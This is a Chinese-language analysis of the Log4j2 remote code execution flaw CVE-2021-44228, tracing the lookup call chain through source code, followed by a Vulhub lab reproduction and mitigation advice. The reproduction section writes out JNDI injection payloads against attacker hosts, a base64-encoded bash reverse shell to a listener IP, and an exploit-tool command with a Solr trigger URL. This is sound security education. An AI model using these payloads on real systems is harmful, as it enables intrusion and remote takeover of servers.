漏洞概述
漏洞名称:Apache Log4j2 远程代码执行漏洞
漏洞编号:CVE-2021-44228
CVSS 评分:10.0
影响版本:Apache Log4j 2.0-beta9 至 2.14.1
修复版本:2.15.0、2.16.0
CVE-2021-44228 是 Apache Log4j2 日志框架中因 JNDI 功能未安全过滤用户输入导致的远程代码执行漏洞。攻击者通过构造包含恶意 JNDI 查询的字符串(如 ${jndi:ldap://attacker.com/Exploit}
),当该字符串被 Log4j2 记录到日志时,触发 JNDI 解析逻辑,从攻击者控制的服务器加载并执行恶意代码,最终完全控制目标系统。
技术细节与源码分析
1. 漏洞成因**
Log4j2 的 消息查找替换功能(Message Lookup)允许在日志消息中动态解析变量(如 ${env:USER}
)。攻击者通过注入 ${jndi:ldap://恶意URL}
,触发 Log4j2 的 JndiLookup
类解析 JNDI 请求,从而加载远程恶意代码。关键问题包括:
- 未验证输入来源:日志消息中的用户输入未过滤 JNDI 协议;
- 默认启用高危功能:Log4j2 默认启用 JNDI 和消息查找功能。
2. 关键源码分析
1. 日志记录入口:用户输入被记录
场景示例:
假设用户发送 HTTP 请求,请求头中包含恶意 Payload:
GET /vulnerable-page HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com/Exploit}
应用程序使用 Log4j2 记录请求头:
logger.info("Received request from User-Agent: {}", userAgent);
此时,userAgent
的值为 ${jndi:ldap://attacker.com/Exploit}
。
2. 日志消息解析:MessagePatternConverter.format()
代码路径:org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
关键逻辑:
@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();// 触发消息格式化}if (result != null) {toAppendTo.append(result);} else {toAppendTo.append("null");}}}
作用:
- 调用
Message.getFormattedMessage()
解析消息中的占位符(如${jndi:...}
)。 - 漏洞触发点:若消息包含
${}
表达式,Log4j2 默认会解析其中的动态内容。
3. 占位符替换:StrSubstitutor.replace()
代码路径:org.apache.logging.log4j.core.lookup.StrSubstitutor#replace
关键逻辑:
public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);try {if (!substitute(event, buf, 0, source.length())) {// 解析占位符 return source;}} catch (Throwable t) {return handleFailedReplacement(source, t);}return buf.toString();}
substitute
函数:
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,List<String> priorVariables) {.......if (priorVariables == null) {priorVariables = new ArrayList<>();}final StringBuilder bufName = new StringBuilder(varNameExpr);substitute(event, bufName, 0, bufName.length(), priorVariables);//调用resolveVariable()varNameExpr = bufName.toString();}pos += endMatchLen;final int endPos = pos;String varName = varNameExpr;String varDefaultValue = null;.......}
解析流程:
- 检测
${
:扫描字符串中的${
符号。 - 提取表达式:截取
${jndi:ldap://attacker.com/Exploit}
。 - 调用
resolveVariable()
:解析表达式中的jndi
前缀。
4. resolveVariable()接口
关键逻辑:
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}try {return resolver.lookup(event, variableName);// 调用 JndiLookup.lookup()} catch (Throwable t) {StatusLogger.getLogger().error("Resolver failed to lookup {}", variableName, t);return null;}}
步骤分解:
- 提取前缀:从
${jndi:ldap://...}
中提取jndi
。 - 调用
JndiLookup
:执行JndiLookup.lookup()
方法。
5. JNDI 查询:JndiLookup.lookup()
代码路径:org.apache.logging.log4j.core.lookup.JndiLookup#lookup
关键逻辑:
@Overridepublic String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);// 转换为合法 JNDI 名称try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {return Objects.toString(jndiManager.lookup(jndiName), null);// 发起 JNDI 查询} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}}
漏洞根源:
jndiManager.lookup()
:直接调用 Java 原生javax.naming.InitialContext.lookup()
。- 协议滥用:支持
ldap
、rmi
等远程协议,允许加载外部类。
6. 远程类加载与代码执行
攻击链完成:
- LDAP 服务器响应:攻击者的 LDAP 服务器返回指向
http://attacker.com/Exploit.class
的引用。 - 类加载触发:目标服务器通过
URLClassLoader
加载远程类。 - 静态代码块执行:恶意类的静态代码块中执行
Runtime.getRuntime().exec("恶意命令")
。
完整调用链图示
[用户输入] ↓
MessagePatternConverter.format() ↓
Message.getFormattedMessage() ↓
StrSubstitutor.replace() ↓
JndiLookup.lookup() ↓
JndiManager.lookup() ↓
javax.naming.InitialContext.lookup() ↓
LDAP/RMI 远程类加载 → RCE
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8983,确认服务正常运行
攻击步骤(反弹shell)
1.下载攻击工具
2.生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口)
3.开启监听
4.使用工具
进入tools目录,执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.1
//192.168.1.1换为执行该命令的主机ip
- 触发漏洞
http://192.168.1.100:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.1:1099/r10kqv}每个人可能不一样,看自己工具生成的地址
5.验证
修复建议
- 升级 Log4j2:
- 升级至 2.16.0 及以上版本(默认禁用 JNDI 和消息查找);
- 临时缓解措施:
- 设置 JVM 参数
-Dlog4j2.formatMsgNoLookups=true
; - 删除
JndiLookup.class
文件(适用于旧版本);
- 设置 JVM 参数
- 网络防护:
- 使用 WAF 拦截包含
${jndi:
的请求; - 限制服务器对外网络访问(阻断 LDAP/RMI 出站)。
- 使用 WAF 拦截包含
总结
CVE-2021-44228 的根源在于 Log4j2 对用户输入的过度信任与 JNDI 功能的滥用。其利用链清晰、影响深远,甚至被预测为“地方性流行病”,未来十年内仍可能影响未修复的系统。修复需结合代码升级、网络防护与持续监控,以应对不断演变的攻击手法。
参考链接
- CVE-2021-44228 漏洞复现与利用链分析
- Log4Shell 漏洞背景与全球影响
- Spring Boot 项目修复方案
- 漏洞技术细节与修复指南
- log4j2漏洞CVE-2021-44228复现笔记